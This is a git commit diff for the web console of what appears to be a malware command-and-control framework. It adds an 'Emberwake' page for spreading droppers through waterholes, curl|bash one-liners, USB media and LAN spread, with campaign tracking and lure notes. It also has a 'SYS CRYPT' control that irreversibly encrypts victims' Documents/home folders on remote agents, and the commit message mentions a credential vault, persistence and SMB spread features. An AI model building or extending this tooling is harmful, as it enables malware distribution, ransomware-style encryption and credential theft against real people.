feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -40,6 +40,10 @@
.bm-loading {
padding: 2rem;
text-align: center;
border: 1px solid var(--border-brass);
border-radius: 2px;
background: rgba(8, 6, 4, 0.45);
box-shadow: var(--shadow-panel);
}
/* ── card grid ── */

View File

@@ -42,6 +42,7 @@ import {
defaultRunnerName,
defaultEmbeddedName,
} from '../help/fusionMedia';
import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
import './Pages.css';
export function formatBytes(n: number): string {
@@ -158,6 +159,7 @@ export default function BuilderPage() {
const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
const fusionPrepRef = useRef<HTMLDivElement>(null);
const [spreadProfile, setSpreadProfile] = useState<SpreadProfileId | ''>('');
// Drive simulated stage progress while a single build is running
useEffect(() => {
@@ -1025,6 +1027,7 @@ export default function BuilderPage() {
<div className="card builder-form">
{simpleMode ? (
<>
<div className="forge-simple-banner card">
<p className="font-tech">RECOMMENDED DEFAULTS AUTO-SELECTED</p>
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
@@ -1032,6 +1035,30 @@ export default function BuilderPage() {
Reset to recommended defaults
</button>
</div>
<div className="form-group" style={{ marginBottom: '1rem' }}>
<label className="label">Spread profile presets</label>
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
{SPREAD_PROFILES.map((p) => (
<button
key={p.id}
type="button"
className={`endpoint-chip ${spreadProfile === p.id ? 'active' : ''}`}
style={{ borderColor: spreadProfile === p.id ? p.color : undefined, color: spreadProfile === p.id ? p.color : undefined }}
title={p.blurb}
onClick={() => {
setSpreadProfile(p.id);
if (form) setForm(applySpreadProfile(form, p.id));
}}
>
{p.label}
</button>
))}
</div>
{spreadProfile && (
<p className="form-hint">{SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb}</p>
)}
</div>
</>
) : (
<div className="forge-rules-banner">
<h3 className="font-tech">FORGE RULES READ THIS ONCE</h3>

View File

@@ -486,6 +486,145 @@
.cop-shell { grid-column: 1 / -1; }
.cop-network { grid-column: 1 / -1; border-color: rgba(58, 134, 255, 0.2); }
.cop-network .cop-label { color: rgba(58, 134, 255, 0.8); border-bottom-color: rgba(58, 134, 255, 0.14); }
.cop-network .crucible-op-btn {
border-color: rgba(58, 134, 255, 0.28);
color: rgba(120, 180, 255, 0.95);
}
.cop-network .crucible-op-btn:hover:not(:disabled) {
background: rgba(58, 134, 255, 0.1);
border-color: #3a86ff;
box-shadow: 0 0 9px -2px rgba(58, 134, 255, 0.4);
}
.cop-persist { border-color: rgba(255, 45, 166, 0.18); }
.cop-persist .cop-label { color: rgba(255, 45, 166, 0.75); border-bottom-color: rgba(255, 45, 166, 0.12); }
.cop-persist .crucible-op-btn {
border-color: rgba(255, 45, 166, 0.28);
color: rgba(255, 120, 200, 0.95);
}
.cop-maint { grid-column: 1 / -1; border-color: rgba(0, 212, 170, 0.2); }
.cop-maint .cop-label { color: rgba(0, 212, 170, 0.8); border-bottom-color: rgba(0, 212, 170, 0.14); }
.crucible-op-collapsible .cop-toggle {
width: 100%;
display: flex;
align-items: center;
justify-content: space-between;
background: none;
border: none;
padding: 0;
cursor: pointer;
text-align: left;
}
.crucible-op-collapsible .cop-toggle .cop-label {
border-bottom: none;
margin-bottom: 0;
padding-bottom: 0;
}
.crucible-op-collapsible .cop-chevron {
font-size: 0.65rem;
color: var(--text-muted);
}
.crucible-op-collapsible .cop-body {
width: 100%;
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
padding-top: 0.45rem;
}
.crucible-inline-row,
.crucible-camera-row,
.crucible-upgrade-row {
width: 100%;
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
align-items: center;
}
.crucible-inline-input,
.crucible-inline-select {
flex: 1;
min-width: 120px;
padding: 0.3rem 0.5rem;
background: #0d0d1a;
border: 1px solid #333;
color: #ddd;
border-radius: 3px;
font-family: var(--font-tech);
font-size: 0.78rem;
}
.crucible-registry-panel {
width: 100%;
display: flex;
flex-direction: column;
gap: 0.35rem;
}
.crucible-op-active {
background: rgba(0, 245, 255, 0.12) !important;
border-color: var(--neon-cyan) !important;
color: var(--neon-cyan) !important;
}
.crucible-op-soon {
opacity: 0.45 !important;
font-size: 0.72rem !important;
}
.crucible-coming-soon-row {
width: 100%;
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
padding-top: 0.25rem;
border-top: 1px dashed rgba(255, 255, 255, 0.08);
margin-top: 0.25rem;
}
.crucible-portfwd-matrix {
width: 100%;
margin-top: 0.35rem;
}
.crucible-portfwd-body {
margin-top: 0.4rem;
padding: 0.5rem;
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 6px;
background: rgba(0, 0, 0, 0.25);
}
.crucible-portfwd-grid {
display: flex;
flex-direction: column;
gap: 0.35rem;
}
.crucible-portfwd-row {
display: grid;
grid-template-columns: 5rem 1fr 6rem 2rem;
gap: 0.35rem;
align-items: center;
}
.crucible-portfwd-head {
font-size: 0.62rem;
letter-spacing: 0.08em;
color: var(--text-muted);
text-transform: uppercase;
}
.crucible-phase-c-row {
width: 100%;
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
padding-top: 0.35rem;
border-top: 1px dashed rgba(255, 255, 255, 0.08);
margin-top: 0.35rem;
}
/* ── Op buttons ──────────────────────────────────────────────────────── */
.crucible-op-btn {

View File

@@ -14,7 +14,9 @@ import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import FileManager from '../components/Fleet/FileManager';
import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/ProtocolTunnelPanel.css';
import './CruciblePage.css';
@@ -365,6 +367,28 @@ export default function CruciblePage() {
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
const encryptTargets = useMemo(
() => selectedAgents.filter(online).map((a) => ({ id: a.id, name: a.name })),
[selectedAgents]
);
const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null;
const appendTerminalLine = useCallback((text: string, isCmd = false) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd,
text,
ts: new Date(),
targeted: true,
},
].slice(-2000));
}, []);
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
const crucibleTargetReady =
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
@@ -1153,6 +1177,29 @@ export default function CruciblePage() {
</button>
</div>
<CrucibleExpandedOps
selectedAgents={selectedAgents}
selectedCount={selectedIds.size}
singleSelectedAgent={singleSelectedAgent}
commandResults={commandResults}
onEcho={appendTerminalLine}
onAgentError={(agentId, agentName, action, err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId,
agentName,
isCmd: false,
text: `[ERROR] ${action}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(),
success: false,
targeted: true,
},
]);
}}
/>
{/* ── SSH ──────────────────────────────────────── */}
<div className="crucible-op-group cop-ssh">
<span className="cop-label">SSH</span>
@@ -1239,13 +1286,13 @@ export default function CruciblePage() {
</button>
</div>
{/* ── Sys Crypt ────────────────────────────────── */}
{/* ── Sys Crypt + remote browser ───────────────── */}
<div className="crucible-op-group cop-destructive">
<span className="cop-label"> Destructive</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="AES-256-GCM encrypt every file in the target's Documents folder (Windows only, requires Remote Aggressive Ops)"
title="AES-256-GCM encrypt every file in Documents/home (legacy shortcut; requires Remote Aggressive Ops)"
style={{
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
border: '1px solid #ff2222',
@@ -1254,7 +1301,7 @@ export default function CruciblePage() {
letterSpacing: '0.06em',
}}
onClick={() => {
if (!confirm(`SYS CRYPT — encrypt Documents on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
if (!confirm(`SYS CRYPT — encrypt Documents/home on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
Promise.all(
selectedAgents.filter(online).map((a) =>
api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
@@ -1269,19 +1316,29 @@ export default function CruciblePage() {
})
)
);
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: 'local', agentName: 'YOU',
isCmd: true,
text: `SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents`,
ts: new Date(),
},
]);
appendTerminalLine(`SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents/home`, true);
}}
>
🔒 SYS CRYPT ({selectedIds.size})
</button>
{browseAgent && selectedIds.size > 0 ? (
<>
{selectedIds.size > 1 && (
<p className="form-hint" style={{ margin: '0.35rem 0 0', fontSize: '0.72rem' }}>
Browsing {browseAgent.name} only Encrypt applies to all {encryptTargets.length} online selection(s).
</p>
)}
<RemoteDirBrowser
agentId={browseAgent.id}
agentName={browseAgent.name}
platform={browseAgent.platform}
online={online(browseAgent)}
encryptTargets={encryptTargets}
commandResults={fmCommandResults}
onTerminalLine={appendTerminalLine}
/>
</>
) : null}
</div>
{/* ── SUPP Seek Mode ───────────────────────────── */}

View File

@@ -0,0 +1,51 @@
.emberwake-page .spread-section {
margin-bottom: 1.5rem;
padding: 1rem 1.25rem;
border-radius: 8px;
border: 1px solid #2a3040;
background: linear-gradient(135deg, #12161f 0%, #0d1018 100%);
}
.emberwake-page .spread-section h3 {
margin: 0 0 0.5rem;
font-size: 1rem;
}
.emberwake-page .spread-section--cyan { border-left: 4px solid #3dd6c6; }
.emberwake-page .spread-section--ember { border-left: 4px solid #ff6b2c; }
.emberwake-page .spread-section--gold { border-left: 4px solid #c9a227; }
.emberwake-page .spread-section--violet { border-left: 4px solid #a78bfa; }
.emberwake-tool-grid {
display: grid;
gap: 0.75rem;
grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
}
.emberwake-notes {
min-height: 120px;
width: 100%;
font-family: ui-monospace, monospace;
font-size: 0.85rem;
}
.emberwake-campaign-list {
list-style: none;
margin: 0;
padding: 0;
}
.emberwake-campaign-list li {
display: flex;
justify-content: space-between;
padding: 0.35rem 0;
border-bottom: 1px solid #222a38;
font-size: 0.85rem;
}
.emberwake-ab-row {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
align-items: center;
}

View File

@@ -0,0 +1,238 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { api } from '../api/client';
import type { BuildRecord, CampaignHitSummary, EmberwakeNotes, PublicBuildDTO } from '../types';
import {
combinedDropperQuery,
commandOneliner,
ps1Oneliner,
publicDownloadUrl,
shOneliner,
} from '../help/emberwake';
import { useWebSocket } from '../hooks/useWebSocket';
import './Pages.css';
import './EmberwakePage.css';
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
void navigator.clipboard.writeText(text).then(() => {
setOk(true);
setTimeout(() => setOk(false), 1500);
});
};
return (
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
{ok ? 'Copied' : label}
</button>
);
}
export default function EmberwakePage() {
const { latestMessage } = useWebSocket();
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
const [serverBase, setServerBase] = useState('');
const [campaign, setCampaign] = useState('linkedin-bait');
const [pinA, setPinA] = useState('');
const [pinB, setPinB] = useState('');
const [notes, setNotes] = useState('');
const [notesMeta, setNotesMeta] = useState('');
const [campaigns, setCampaigns] = useState<CampaignHitSummary[]>([]);
const [exportBusy, setExportBusy] = useState(false);
const [notesBusy, setNotesBusy] = useState(false);
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
const load = useCallback(async () => {
const [b, info, cfg, pub, camp, n] = await Promise.all([
api.listBuilds(),
api.getServerInfo(),
api.getConfig(),
api.listPublicBuilds(),
api.listCampaignHits(),
api.getEmberwakeNotes(),
]);
setBuilds(b);
const pubUrl = cfg.server?.public_url?.trim();
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
setPublicBuilds(pub.builds);
setCampaigns(camp.campaigns);
setNotes(n.content);
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
if (!pinA) {
const p = b.find((x) => x.pinned);
if (p) setPinA(p.id);
}
if (!pinB && b.length > 1) {
const alt = b.find((x) => !x.pinned) ?? b[1];
if (alt) setPinB(alt.id);
}
}, [pinA, pinB]);
useEffect(() => {
void load().catch(() => {});
}, [load]);
useEffect(() => {
if (latestMessage?.type !== 'emberwake_notes_updated') return;
const p = latestMessage.payload as EmberwakeNotes;
if (p && typeof p.content === 'string') {
setNotes(p.content);
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
}
}, [latestMessage]);
const saveNotes = async () => {
setNotesBusy(true);
try {
const n = await api.putEmberwakeNotes(notes);
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
} finally {
setNotesBusy(false);
}
};
const exportKit = async () => {
setExportBusy(true);
try {
await api.exportSpreadKit({
build_id: pinA || pinned[0]?.id || '',
server_url: serverBase,
campaign,
});
} finally {
setExportBusy(false);
}
};
return (
<div className="page emberwake-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
<h1>Emberwake</h1>
<p className="page-subtitle">
Carry embers from the forge web waterholes, CMS uploads, curl|bash VPS drops, fusion media, USB, and LAN spread.
</p>
</div>
</header>
<div className="spread-section spread-section--ember">
<h3>How to spread</h3>
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem' }}>
<li><strong>Web waterhole</strong> export spread kit ZIP, upload to S3 / Cloudflare Pages / owned CMS.</li>
<li><strong>curl | bash VPS</strong> paste one-liners below on a headless server session.</li>
<li><strong>Fusion media</strong> forge Desktop Fusion profile, seed USB or shared folders.</li>
<li><strong>LAN kindling</strong> universal spread kit + autospread; deploy.bat on reachable hosts.</li>
<li><strong>A/B droppers</strong> pin build A vs B; rotate campaign links between waves.</li>
</ul>
</div>
<div className="card" style={{ marginBottom: '1rem' }}>
<h2>Campaign builder</h2>
<div className="form-group">
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
</div>
<div className="emberwake-ab-row" style={{ marginBottom: '0.75rem' }}>
<label className="label">Build A (pin)</label>
<select className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
<option value="">Latest / pinned</option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
))}
</select>
<label className="label">Build B (A/B)</label>
<select className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
<option value=""></option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
))}
</select>
</div>
<div className="emberwake-tool-grid">
<div>
<p className="form-hint">PowerShell</p>
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{ps1Oneliner(serverBase, query)}</code>
<CopyChip text={ps1Oneliner(serverBase, query)} label="Copy PS1" />
</div>
<div>
<p className="form-hint">bash</p>
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{shOneliner(serverBase, query)}</code>
<CopyChip text={shOneliner(serverBase, query)} label="Copy sh" />
</div>
<div>
<p className="form-hint">macOS</p>
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{commandOneliner(serverBase, query)}</code>
<CopyChip text={commandOneliner(serverBase, query)} label="Copy .command" />
</div>
</div>
{pinB && (
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
A/B link B: <code>{serverBase}/get{queryB}</code>
<CopyChip text={`${serverBase}/get${queryB}`} label="Copy B" />
</p>
)}
</div>
<div className="spread-section spread-section--cyan">
<h3>Spread kit export</h3>
<p className="form-hint">Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.</p>
<div className="emberwake-ab-row">
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
</button>
</div>
</div>
<div className="spread-section spread-section--gold">
<h3>Public build URLs</h3>
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate public builds enabled).</p>
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
<li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
<strong>{b.worker_name}</strong> ({b.platform})
{' — '}
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
public download
</a>
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
</li>
))}
</ul>
</div>
{campaigns.length > 0 && (
<div className="spread-section spread-section--violet">
<h3>Campaign hits</h3>
<ul className="emberwake-campaign-list">
{campaigns.map((c) => (
<li key={c.campaign}>
<span><code>{c.campaign}</code></span>
<span>{c.count} hits · {c.last_hit ? new Date(c.last_hit).toLocaleString() : '—'}</span>
</li>
))}
</ul>
</div>
)}
<div className="card">
<h2>Shared notes</h2>
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
<textarea
className="input emberwake-notes"
rows={6}
value={notes}
onChange={(e) => setNotes(e.target.value)}
placeholder="Paste lure copy, host paths, rotation schedule…"
/>
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
{notesBusy ? 'Saving…' : 'Save notes'}
</button>
</div>
</div>
);
}

View File

@@ -442,13 +442,15 @@
}
.form-section {
margin-bottom: 1.5rem;
padding-bottom: 1.5rem;
border-bottom: 1px solid var(--border-color);
margin-bottom: 1.25rem;
padding: 1rem 1.1rem 1.25rem;
border: 1px solid var(--border-dim);
border-radius: 2px;
background: rgba(8, 6, 4, 0.35);
}
.form-section:last-of-type {
border-bottom: none;
margin-bottom: 0;
}
.form-section h3 {
@@ -560,8 +562,9 @@
.build-item {
padding: 0.75rem;
background: var(--bg-secondary);
border-radius: 8px;
background: rgba(8, 6, 4, 0.55);
border: 1px solid var(--border-brass);
border-radius: 2px;
}
.build-item-name {
@@ -1329,6 +1332,12 @@ button.deliverable-card .form-hint {
border: 1px solid rgba(212, 175, 55, 0.25);
}
.fusion-estimate-panel {
padding: 1rem 1.1rem;
margin-top: 0.75rem;
border: 1px solid rgba(212, 175, 55, 0.28);
}
.batch-forge-header {
display: flex;
justify-content: space-between;

View File

@@ -394,10 +394,11 @@
}
.pt-section-panel {
background: rgba(0,0,0,0.25);
border: 1px solid rgba(0,255,170,0.08);
border-radius: 10px;
background: rgba(8, 6, 4, 0.45);
border: 1px solid var(--border-brass);
border-radius: 2px;
padding: 1rem;
box-shadow: var(--shadow-panel);
}
/* Spinner */

View File

@@ -6,6 +6,7 @@ import { cleanup, render, screen, waitFor, within } from '@testing-library/react
import userEvent from '@testing-library/user-event';
import SettingsPage, { deepMerge } from './SettingsPage';
import { SoundProvider } from '../context/SoundContext';
import { AmbientMusicProvider } from '../context/AmbientMusicContext';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
@@ -13,7 +14,9 @@ import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
function renderSettings() {
return render(
<SoundProvider>
<SettingsPage />
<AmbientMusicProvider>
<SettingsPage />
</AmbientMusicProvider>
</SoundProvider>
);
}

View File

@@ -19,6 +19,8 @@ import NeonCard from '../components/NeonCard/NeonCard';
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
import { useSound } from '../context/SoundContext';
import { useAmbientMusic } from '../context/AmbientMusicContext';
import { AMBIENT_MUSIC_SRC } from '../audio/ambientMusic';
import { useVisualEffects } from '../context/VisualEffectsContext';
import './Pages.css';
@@ -46,7 +48,19 @@ export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
}
export default function SettingsPage() {
const { enabled: sfxEnabled, volume: sfxVolume, setEnabled: setSfxEnabled, setVolume: setSfxVolume, preview: previewSfx } = useSound();
const {
enabled: sfxEnabled,
volume: sfxVolume,
hoverEnabled,
hoverVolume,
setEnabled: setSfxEnabled,
setVolume: setSfxVolume,
setHoverEnabled,
setHoverVolume,
preview: previewSfx,
previewHover,
} = useSound();
const { enabled: bgmEnabled, volume: bgmVolume, setEnabled: setBgmEnabled, setVolume: setBgmVolume } = useAmbientMusic();
const { glowParticles, setGlowParticles } = useVisualEffects();
const [config, setConfig] = useState<ServerConfig | null>(null);
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
@@ -490,6 +504,82 @@ export default function SettingsPage() {
Preview share
</button>
</div>
<hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
<h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Hover highlight sounds</h3>
<p className="section-desc" style={{ marginBottom: '0.75rem' }}>
Subtle dubstep-style blips when hovering buttons, cards, nav links, and fleet rows. Debounced so rapid
mouse movement stays quiet. Muted when click sounds are off.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={hoverEnabled}
disabled={!sfxEnabled}
onChange={(e) => setHoverEnabled(e.target.checked)}
/>
<span>Enable hover highlight sounds</span>
</label>
</div>
<div className="form-group">
<label htmlFor="cfg-hover-volume" className="label">
Hover volume ({Math.round(hoverVolume * 100)}%)
</label>
<input
id="cfg-hover-volume"
type="range"
className="input"
min={0}
max={100}
step={5}
value={Math.round(hoverVolume * 100)}
disabled={!sfxEnabled || !hoverEnabled}
onChange={(e) => setHoverVolume(parseInt(e.target.value, 10) / 100)}
/>
</div>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={!sfxEnabled || !hoverEnabled}
onClick={previewHover}
>
Preview hover
</button>
<hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
<h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Background music</h3>
<p className="section-desc" style={{ marginBottom: '0.75rem' }}>
Optional looping ambient track served from <code className="mono-sm">{AMBIENT_MUSIC_SRC}</code>. Use the
mini player in the bottom-right corner on any page, or enable here. Defaults off browsers block autoplay
until you press play or toggle this on.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={bgmEnabled}
onChange={(e) => setBgmEnabled(e.target.checked)}
/>
<span>Enable background music</span>
</label>
</div>
<div className="form-group">
<label htmlFor="cfg-bgm-volume" className="label">
Music volume ({Math.round(bgmVolume * 100)}%)
</label>
<input
id="cfg-bgm-volume"
type="range"
className="input"
min={0}
max={100}
step={5}
value={Math.round(bgmVolume * 100)}
disabled={!bgmEnabled}
onChange={(e) => setBgmVolume(parseInt(e.target.value, 10) / 100)}
/>
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section">